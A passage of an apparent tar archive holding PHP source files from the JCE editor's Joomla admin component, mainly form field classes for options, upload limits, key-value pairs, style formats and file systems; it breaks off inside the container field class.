        foreach (self::$fonts as $text => $value) {

            if (in_array($text, $exclude)) {
                continue;
            }

            $tmp = array(
                'value' => $value,
                'text' => Text::alt($text, $fieldname),
                'checked' => $checked,
                'custom' => false,
            );

            $options[] = (object) $tmp;
        }

        return array_merge($options, $custom);
    }
}
com_jce/models/fields/yesno.php000060400000002677152455305310012555 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\RadioField;

class JFormFieldYesNo extends RadioField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'YesNo';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since   11.1
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        $this->class = trim($this->class . ' btn-group btn-group-yesno');

        return $return;
    }
}
com_jce/models/fields/uploadmaxsize.php000060400000006273152455305310014301 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\NumberField;
use Joomla\CMS\Language\Text;

/**
 * Form Field class for the Joomla Platform.
 * Supports a one line text field.
 *
 * @link        http://www.w3.org/TR/html-markup/input.text.html#input.text
 * @since       11.1
 */
class JFormFieldUploadMaxSize extends NumberField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'uploadmaxsize';

    /**
     * Method to get the field input markup.
     *
     * @return string The field input markup
     *
     * @since   11.1
     */
    protected function getInput()
    {
        $max = $this->getUploadValue();

        $this->max = (int) $max;
        $this->class = trim($this->class . ' input-small');

        $html = '<div class="input-append input-group">';
        $html .= parent::getInput();
        $html .= '  <div class="input-group-append">';
        $html .= '      <span class="add-on input-group-text">Kb</span>';
        $html .= '  </div>';
        $html .= '	<small class="help-inline form-text">&nbsp;<em>' . Text::_('WF_SERVER_UPLOAD_SIZE') . ' : ' . (string) $max . '</em></small>';
        $html .= '</div>';

        return $html;
    }

    public function getUploadValue()
    {
        $upload = trim(ini_get('upload_max_filesize'));
        $post = trim(ini_get('post_max_size'));

        $upload = $this->convertValue($upload);
        $post = $this->convertValue($post);

        if (intval($post) === 0) {
            return $upload;
        }

        if (intval($upload) < intval($post)) {
            return $upload;
        }

        return $post;
    }

    public function convertValue($value)
    {
        $unit = 'KB';
        $prefix = '';

        preg_match('#([0-9]+)\s?([a-z]*)#i', $value, $matches);

        // get unit
        if (isset($matches[2])) {
            $prefix = $matches[2];

            // extract first character only, eg: g, m, k
            if ($prefix) {
                $prefix = strtolower($prefix[0]);
            }
        }

        // get value
        if (isset($matches[1])) {
            $value = (int) $matches[1];
        }

        $value = intval($value);

        // Convert to bytes
        switch ($prefix) {
            case 'g':
                $value *= 1073741824;
                break;
            case 'm':
                $value *= 1048576;
                break;
            case 'k':
                $value *= 1024;
                break;
        }

        // Convert to unit value
        switch (strtolower($unit[0])) {
            case 'g':
                $value /= 1073741824;
                break;
            case 'm':
                $value /= 1048576;
                break;
            case 'k':
                $value /= 1024;
                break;
        }

        if ($unit) {
            return (int) $value . ' ' . $unit;
        }

        return 0;
    }
}
com_jce/models/fields/plugin.php000060400000007264152455305310012713 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\Field\FilelistField;

class JFormFieldPlugin extends FilelistField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Plugin';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since   11.1
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        return $return;
    }

    /**
     * Method to get the field input markup.
     *
     * @return string The field input markup
     *
     * @since   11.1
     */
    protected function getInput()
    {
        $value = $this->value;

        // decode json string
        if (!empty($value) && is_string($value)) {
            $value = json_decode($value, true);
        }

        // default
        if (empty($value)) {
            $type = $this->default;
            $path = '';
        }

        $plugins = $this->getPlugins();

        $html = '<div class="span9">';
        foreach ($plugins as $plugin) {
            $name = (string) str_replace($this->name . '-', '', $plugin->element);

            $form = Form::getInstance('plg_jce_' . $plugin->element, $plugin->manifest, array('control' => $this->name . '[' . $name . ']'), true, '//extension');

            if ($form) {
                $html .= $form->renderFieldset('extension.' . $name . '.' . $name);
            }
        }

        $html .= '</div>';

        return $html;
    }

    /**
     * Method to get the field options.
     *
     * @return array The field option objects
     *
     * @since   11.1
     */
    protected function getPlugins()
    {
        static $plugins;

        if (!isset($plugins)) {
            $language = Factory::getLanguage();

            $db = Factory::getDbo();
            $query = $db->getQuery(true)
                ->select('name, element')
                ->from('#__extensions')
                ->where('enabled = 1')
                ->where('type =' . $db->quote('plugin'))
                ->where('state IN (0,1)')
                ->where('folder = ' . $db->quote('jce'))
                ->where('element LIKE ' . $db->quote($this->name . '-%'))
                ->order('ordering');

            $plugins = $db->setQuery($query)->loadObjectList();

            foreach ($plugins as $plugin) {
                $name = str_replace($this->name, '', $plugin->element);

                // load language file
                $language->load('plg_jce_' . $this->name . '_' . $name, JPATH_ADMINISTRATOR);

                // create manifest path
                $plugin->manifest = JPATH_PLUGINS . '/jce/' . $plugin->element . '/' . $plugin->element . '.xml';
            }
        }

        return $plugins;
    }
}
com_jce/models/fields/customlist.php000060400000004375152455305310013623 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\ListField;

class JFormFieldCustomList extends ListField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'CustomList';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since   11.1
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        $this->class = trim($this->class . ' com_jce_select_custom');

        return $return;
    }

    protected function getOptions()
    {
        $options = parent::getOptions();

        $this->value = is_array($this->value) ? $this->value : explode(',', $this->value);

        $custom = array();

        foreach ($this->value as $value) {
            $tmp = array(
                'value' => $value,
                'text' => $value,
                'selected' => true,
            );

            $found = false;

            foreach ($options as $option) {
                if ($option->value === $value) {
                    $found = true;
                }
            }

            if (!$found) {
                $custom[] = (object) $tmp;
            }
        }

        // Merge any additional options in the XML definition.
        $options = array_merge($options, $custom);

        return $options;
    }
}
com_jce/models/fields/extension.php000060400000000215152455305310013416 0ustar00<?php

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('filetype');

class JFormFieldExtension extends JFormFieldFiletype
{

}com_jce/models/fields/keyvalue.php000060400000017100152455305310013230 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;

class JFormFieldKeyValue extends FormField
{

    /**
     * The form field type.
     *
     * @var    string
     *
     * @since  2.8
     */
    protected $type = 'KeyValue';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @since   2.8
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        return $return;
    }

    /**
     * Method to get the field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   11.1
     */
    protected function getInput()
    {
        $values = $this->value;

        if (is_string($values) && !empty($values)) {
            $value = htmlspecialchars_decode($this->value);
            $value = html_entity_decode($value, ENT_QUOTES | ENT_HTML5, 'UTF-8');

            $values = json_decode($value, true);

            // not valid json
            if (empty($values) || json_last_error() !== JSON_ERROR_NONE) {
                $values = array();

                // If the value is a string with key-value pairs, convert it to an array
                if (strpos($value, ':') !== false && strpos($value, '{') === false) {
                    foreach (explode(',', $value) as $item) {
                        $pair = explode(':', $item);

                        array_walk($pair, function (&$val) {
                            $val = trim($val, chr(0x22) . chr(0x27) . chr(0x38));
                        });

                        $values[] = array(
                            'name' => $pair[0],
                            'value' => $pair[1],
                        );
                    }
                } else {
                    // where the value is a string with no key-value pairs, use only the "name" key
                    $values = array(
                        array(
                            'name' => $value,
                            'value' => '',
                        ),
                    );
                }
            }
        }

        // default
        if (empty($values)) {
            $values = array(
                array(
                    'name' => '',
                    'value' => '',
                ),
            );
        }

        $subForm = new Form($this->name, array('control' => $this->formControl));

        $children = (array) $this->element->children();

        // if field has defined children
        if (count($children)) {
            $children = $this->element->children();

            $subForm->load($children, true);
            $subForm->setFields($children);
        } else {
            $label = $this->element['label'];

            $xml = '<form><fields name="' . $this->name . '">';

            $keyName = 'name';
            $keyLabel = 'WF_LABEL_NAME';

            if (isset($this->element['keyName'])) {
                $keyName = $this->element['keyName'];
            }

            if (isset($this->element['keyLabel'])) {
                $keyLabel = htmlspecialchars($this->element['keyLabel'], ENT_QUOTES, 'UTF-8');
            }

            $xml .= '<field name="' . $keyName . '" type="text" label="' . $keyLabel . '" description="" />';

            $valueName = 'value';
            $valueLabel = 'WF_LABEL_VALUE';

            if (isset($this->element['valueName'])) {
                $valueName = $this->element['valueName'];
            }

            if (isset($this->element['valueLabel'])) {
                $valueLabel = htmlspecialchars($this->element['valueLabel'], ENT_QUOTES, 'UTF-8');
            }

            $xml .= '<field name="' . $valueName . '" type="text" label="' . $valueLabel . '" description="" />';

            if ($this->element['boolean']) {
                $xml .= '<field name="boolean" type="checkbox" class="wf-keyvalue-boolean" label="' . Text::_('WF_LABEL_BOOLEAN') . '" description="" />';
            }

            $xml .= '</fields></form>';

            $subForm->load($xml);
        }

        $fields = $subForm->getFieldset();

        // And finaly build a main container
        $str = array();

        $sortable = '';

        if (isset($this->element['sortable'])) {
            $sortable = ' data-sortable="' . $this->element['sortable'] . '"';
        }

        $str[] = '<div class="form-field-repeatable"' . $sortable . '>';

        // the default field names for the key-value pairs
        $fieldItem = array('name', 'value');

        foreach ($values as $value) {
            $str[] = '<div class="form-field-repeatable-item wf-keyvalue">';
            $str[] = '  <div class="form-field-repeatable-item-group well p-4 card">';

            $n = 0;

            foreach ($fields as $field) {
                $tmpField = clone $field;

                $tmpField->element['multiple'] = true;

                $name = (string) $tmpField->element['name'];

                $val = is_array($value) && isset($value[$name]) ? $value[$name] : '';

                // if the original value is a string and does not match the field name, use the default field item name
                if (!isset($value[$name]) && is_string($this->value)) {
                    $key = $fieldItem[$n] ?? '';

                    if ($key) {
                        $val = $value[$key] ?? '';
                    }
                }

                // escape value
                $tmpField->value = htmlspecialchars_decode($val);

                $tmpField->setup($tmpField->element, $tmpField->value, $this->group);

                // reset id
                $tmpField->id .= '_' . $n;

                // reset name
                $tmpField->name = $name;

                $str[] = $tmpField->renderField(array('description' => $tmpField->description));

                $n++;
            }

            $str[] = '  </div>';

            $str[] = '  <div class="form-field-repeatable-item-control">';
            $str[] = '      <button class="btn btn-link form-field-repeatable-add" aria-label="' . Text::_('JGLOBAL_FIELD_ADD') . '"><i class="icon icon-plus pull-right float-right"></i></button>';
            $str[] = '      <button class="btn btn-link form-field-repeatable-remove" aria-label="' . Text::_('JGLOBAL_FIELD_REMOVE') . '"><i class="icon icon-trash pull-right float-right"></i></button>';
            $str[] = '  </div>';

            $str[] = '</div>';
        }

        if (!empty($this->value)) {
            $this->value = htmlspecialchars(json_encode($values));
        }

        $str[] = '<input type="hidden" name="' . $this->name . '" value="' . $this->value . '" />';

        $str[] = '</div>';

        return implode("", $str);
    }
}
com_jce/models/fields/styleformat.php000060400000010600152455305310013752 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;

/**
 * Renders a select element.
 */
class JFormFieldStyleFormat extends FormField
{
    /*
     * Element type
     *
     * @access    protected
     * @var        string
     */
    protected $type = 'StyleFormat';

    private function loadSubForm()
    {
        $subForm = new Form($this->name);
        
        // editor manifest
        $manifest = JPATH_ADMINISTRATOR . '/components/com_jce/models/forms/styleformat.xml';
        $xml = simplexml_load_file($manifest);
        $subForm->load($xml);

        return $subForm;
    }

    private function renderFields($form, $item)
    {
        $fields = $form->getFieldset();
        
        $data = array();

        foreach ($fields as $field) {
            $tmpField = clone $field;
            
            $key = (string) $tmpField->element['name'];

            // default value
            $tmpField->value = "";

            if (array_key_exists($key, $item)) {
                $tmpField->value = htmlspecialchars_decode($item[$key], ENT_QUOTES);
            }

            $tmpField->setup($tmpField->element, $tmpField->value, $this->group);
            $tmpField->id = '';
            $tmpField->name = '';

            $data[] = '<div class="styleformat-item-' . $key . '" data-key="' . $key . '">' . $tmpField->renderField(array('description' => $tmpField->description)) . '</div>';
        }

        return implode('', $data);
    }

    protected function getInput()
    {
        $wf = WFApplication::getInstance();

        $output = array();

        // default item list (remove "attributes" for now)
        $default = array('title' => '', 'element' => '', 'selector' => '', 'classes' => '', 'styles' => '', 'attributes' => '');

        // pass to items
        $items = $this->value;

        if (is_string($items)) {
            $items = json_decode(htmlspecialchars_decode($this->value), true);
        }

        // cast to array
        $items = (array) $items;

        /* Convert legacy styles */
        $theme_advanced_styles = $wf->getParam('editor.theme_advanced_styles', '');

        if (!empty($theme_advanced_styles)) {
            foreach (explode(',', $theme_advanced_styles) as $styles) {
                $style = json_decode('{' . preg_replace('#([^=]+)=([^=]+)#', '"title":"$1","classes":"$2"', $styles) . '}', true);

                if ($style) {
                    $items[] = $style;
                }
            }
        }

        // create default array if no items
        if (empty($items)) {
            $items = array($default);
        }

        $output[] = '<div class="styleformat-list">';

        $x = 0;

        $subForm = $this->loadSubForm();

        foreach ($items as $item) {
            $elements = array('<div class="styleformat border bg-light-subtle">');

            $elements[] = $this->renderFields($subForm, $item);

            $elements[] = '<div class="styleformat-header">';

            // handle
            $elements[] = '<span class="styleformat-item-handle"></span>';
            // delete button
            $elements[] = '<button class="styleformat-item-trash btn btn-link"><i class="icon icon-trash"></i></button>';
            // collapse
            $elements[] = '<button class="close collapse btn btn-link"><i class="icon icon-chevron-up"></i><i class="icon icon-chevron-down"></i></button>';

            $elements[] = '</div>';

            $elements[] = '</div>';

            $output[] = implode('', $elements);

            $x++;
        }

        $output[] = '<button class="btn btn-link styleformat-item-plus border"><span class="text-left">' . Text::_('WF_STYLEFORMAT_NEW') . '</span><i class="icon icon-plus"></i></button>';

        // hidden field
        $output[] = '<input type="hidden" name="' . $this->name . '" value="" />';

        if (!empty($theme_advanced_styles)) {
            $output[] = '<input type="hidden" name="' . $this->getName('theme_advanced_styles') . '" value="" class="isdirty" />';
        }

        $output[] = '</div>';

        return implode("\n", $output);
    }
}com_jce/models/fields/filesystem.php000060400000011223152455305310013567 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

class JFormFieldFilesystem extends ListField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Filesystem';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since   11.1
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        return $return;
    }

    /**
     * Method to get the field input markup.
     *
     * @return string The field input markup
     *
     * @since   11.1
     */
    protected function getInput()
    {
        $value = $this->value;

        // decode json string
        if (!empty($value) && is_string($value)) {
            $value = json_decode($value, true);
        }

        // default
        if (empty($value)) {
            $value = array('name' => $this->default);
        } else {
            if (!isset($value['name'])) {
                $value['name'] = $this->default;
            }
        }

        $plugins = $this->getPlugins();
        $options = $this->getOptions();

        $html = '';
        $html .= '<div class="controls-row">';

        $html .= '<div class="control-group">';
        $html .= HTMLHelper::_('select.genericlist', $options, $this->name . '[name]', 'data-toggle="filesystem-options" class="custom-select"', 'value', 'text', $value['name']);
        $html .= '</div>';

        $html .= '<div class="filesystem-options clearfix">';

        foreach ($plugins as $plugin) {
            $form = Form::getInstance('plg_jce_' . $this->name . '_' . $plugin->name, $plugin->manifest, array('control' => $this->name . '[' . $plugin->name . ']'), true, '//extension');

            if ($form) {
                // get the data for this form, if set
                $data = isset($value[$plugin->name]) ? $value[$plugin->name] : array();

                // bind data to form
                $form->bind($data);

                $html .= '<div class="well well-small p-3 card" data-toggle-target="filesystem-options-' . $plugin->name . '">';

                $fields = $form->getFieldset('filesystem.' . $plugin->name);

                foreach ($fields as $field) {
                    $html .= $field->renderField(array('description' => $field->description));
                }

                $html .= '</div>';
            }
        }

        $html .= '</div>';
        $html .= '</div>';

        return $html;
    }

    /**
     * Method to get the field options.
     *
     * @return array The field option objects
     *
     * @since   11.1
     */
    protected function getPlugins()
    {
        static $plugins;

        if (!isset($plugins)) {
            $plugins = JcePluginsHelper::getExtensions('filesystem');
        }

        return $plugins;
    }

    /**
     * Method to get the field options.
     *
     * @return array The field option objects
     *
     * @since   11.1
     */
    protected function getOptions()
    {
        $fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname);

        $options = parent::getOptions();

        $plugins = $this->getPlugins();

        foreach ($plugins as $plugin) {
            $value = (string) $plugin->name;
            $text = (string) $plugin->title;

            $tmp = array(
                'value' => $value,
                'text' => Text::alt($text, $fieldname),
                'disable' => false,
                'class' => '',
                'selected' => false,
            );

            // Add the option object to the result set.
            $options[] = (object) $tmp;
        }

        reset($options);

        return $options;
    }
}
com_jce/models/fields/components.php000060400000005300152455305310013567 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\Language\Text;

/**
 * Form Field class for the Joomla Framework.
 *
 * @since       11.4
 */
class JFormFieldComponents extends ListField
{
    /**
     * The field type.
     *
     * @var string
     *
     * @since  11.4
     */
    protected $type = 'Components';

    /**
     * Method to get a list of options for a list input.
     *
     * @return array An array of JHtml options
     *
     * @since   11.4
     */
    protected function getOptions()
    {
        $language = Factory::getLanguage();

        $exclude = array(
            'com_admin',
            'com_cache',
            'com_checkin',
            'com_config',
            'com_cpanel',
            'com_fields',
            'com_finder',
            'com_installer',
            'com_jce',
            'com_languages',
            'com_login',
            'com_mailto',
            'com_menus',
            'com_media',
            'com_messages',
            'com_newsfeeds',
            'com_plugins',
            'com_redirect',
            'com_templates',
            'com_users',
            'com_wrapper',
            'com_search',
            'com_user',
            'com_updates',
        );

        // Get list of plugins
        $db = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select('element AS value, name AS text')
            ->from('#__extensions')
            ->where('type = ' . $db->quote('component'))
            ->where('enabled = 1')
            ->order('ordering, name');
        $db->setQuery($query);

        $components = $db->loadObjectList();

        $options = array();

        // load component languages
        for ($i = 0; $i < count($components); ++$i) {
            if (!in_array($components[$i]->value, $exclude)) {
                // load system language file
                $language->load($components[$i]->value . '.sys', JPATH_ADMINISTRATOR);
                $language->load($components[$i]->value, JPATH_ADMINISTRATOR);

                // translate name
                $components[$i]->text = Text::_($components[$i]->text, true);

                $components[$i]->disable = '';

                $options[] = $components[$i];
            }
        }

        // Merge any additional options in the XML definition.
        return array_merge(parent::getOptions(), $options);
    }
}
com_jce/models/fields/componentslist.php000060400000005450152455305310014471 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\Language\Text;
use Joomla\Utilities\ArrayHelper;

/**
 * Form Field class for the Joomla Framework.
 *
 * @since       11.4
 */
class JFormFieldComponentsList extends ListField
{
    /**
     * The field type.
     *
     * @var string
     *
     * @since  11.4
     */
    protected $type = 'ComponentsList';

    /**
     * Method to get a list of options for a list input.
     *
     * @return array An array of JHtml options
     *
     * @since   11.4
     */
    protected function getOptions()
    {
        $language = Factory::getLanguage();

        $exclude = array(
            'com_admin',
            'com_cache',
            'com_checkin',
            'com_config',
            'com_cpanel',
            'com_fields',
            'com_finder',
            'com_installer',
            'com_languages',
            'com_login',
            'com_mailto',
            'com_menus',
            'com_media',
            'com_messages',
            'com_newsfeeds',
            'com_plugins',
            'com_redirect',
            'com_templates',
            'com_users',
            'com_wrapper',
            'com_search',
            'com_user',
            'com_updates',
        );

        // Get list of plugins
        $db = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select('element AS value, name AS text')
            ->from('#__extensions')
            ->where('type = ' . $db->quote('component'))
            ->where('enabled = 1')
            ->order('ordering, name');
        $db->setQuery($query);

        $items = $db->loadObjectList();

        $options = array();

        foreach ($items as $item) {
            // Load language
            $extension = $item->value;

            $language->load("$extension.sys", JPATH_ADMINISTRATOR)
                || $language->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension);

            $text = strtoupper($item->text);

            if ($text === 'COM_JCE') {
                $text = 'WF_CPANEL_BROWSER';
            }

            // Translate component name
            $item->text = Text::_($text);

            $options[] = $item;
        }

        // Sort by component name
        $options = ArrayHelper::sortObjects($options, 'text', 1, true, true);

        // Merge any additional options in the XML definition.
        $options = array_merge(parent::getOptions(), $options);

        return $options;
    }
}
com_jce/models/fields/mediajce.php000060400000006331152455305310013150 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\MediaField;

/**
 * Provides a modal media selector field for the JCE File Browser
 *
 * @since  2.6.17
 */
class JFormFieldMediaJce extends MediaField
{
    /**
     * The form field type.
     *
     * @var    string
     */
    protected $type = 'MediaJce';

    /**
     * Layout to render
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'joomla.form.field.media';

    /**
     * Default mediatype
     *
     * @var    string
     * @since  2.9.39
     */
    protected $mediatype;

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @see     JFormField::setup()
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $result = parent::setup($element, $value, $group);

        if ($result === true) {
            $this->mediatype = isset($this->element['mediatype']) ? (string) $this->element['mediatype'] : 'images';

            if (!isset($this->element['converted'])) {
                $this->element['converted'] = 0;
            }
        }

        return $result;
    }

    /**
     * Get the data that is going to be passed to the layout
     *
     * @return  array
     */
    public function getLayoutData()
    {
        require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php';

        $config = array(
            'element' => $this->id,
            'mediatype' => strtolower($this->mediatype),
            'converted' => (int) $this->element['converted'] ? true : false,
        );

        if (isset($this->element['plugin'])) {
            $config['plugin'] = (string) $this->element['plugin'];
        }

        // Get the basic field data
        $data = parent::getLayoutData();

        $this->link = WFBrowserHelper::getMediaFieldUrl($config);

        // not a valid file browser link
        if (!$this->link) {
            return $data;
        }
        
        $options = WFBrowserHelper::getMediaFieldOptions($config);

        $extraData = array(
            'link' => $this->link,
            'class' => $this->element['class'] . ' input-medium wf-media-input wf-media-input-active',
        );

        if ($options['upload'] == 1) {
            $extraData['class'] .= ' wf-media-input-upload';
        }

        return array_merge($data, $extraData);
    }
}
com_jce/models/fields/heading.php000060400000004027152455305310013006 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;

class JFormFieldHeading extends FormField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Heading';

    /**
     * Method to get the field input markup for a spacer.
     * The spacer does not have accept input.
     *
     * @return string The field input markup
     *
     * @since   11.1
     */
    protected function getInput()
    {
        return ' ';
    }

    /**
     * Method to get the field label markup for a spacer.
     * Use the label text or name from the XML element as the spacer or
     * Use a hr="true" to automatically generate plain hr markup.
     *
     * @return string The field label markup
     *
     * @since   11.1
     */
    protected function getLabel()
    {
        $html = array();
        $class = !empty($this->class) ? ' class="' . $this->class . '"' : '';
        $html[] = '<h3' . $class . '>';

        // Get the label text from the XML element, defaulting to the element name.
        $text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
        $text = $this->translateLabel ? Text::_($text) : $text;

        $html[] = $text;

        $html[] = '</h3>';

        // If a description is specified, use it to build a tooltip.
        if (!empty($this->description)) {
            $html[] = '<small>' . Text::_($this->description) . '</small>';
        }

        return implode('', $html);
    }

    /**
     * Method to get the field title.
     *
     * @return string The field title
     *
     * @since   11.1
     */
    protected function getTitle()
    {
        return $this->getLabel();
    }
}
com_jce/models/fields/container.php000060400000023312152455305310013367 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;

/**
 * Form Field class for the JCE.
 * Display a field with a repeatable set of defined sub fields
 *
 * @since       2.8.13
 */
class JFormFieldContainer extends FormField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  2.8.13
     */
    protected $type = 'Container';

    /**
     * Method to get the field label markup for a spacer.
     * Use the label text or name from the XML element as the spacer or
     * Use a hr="true" to automatically generate plain hr markup.
     *
     * @return string The field label markup
     *
     * @since   11.1
     */
    protected function getLabel()
    {
        return '';
    }

    // Function to check if two arrays are equal
    private function arraysEqual($arr1, $arr2)
    {
        if (count($arr1) !== count($arr2)) {
            return false;
        }

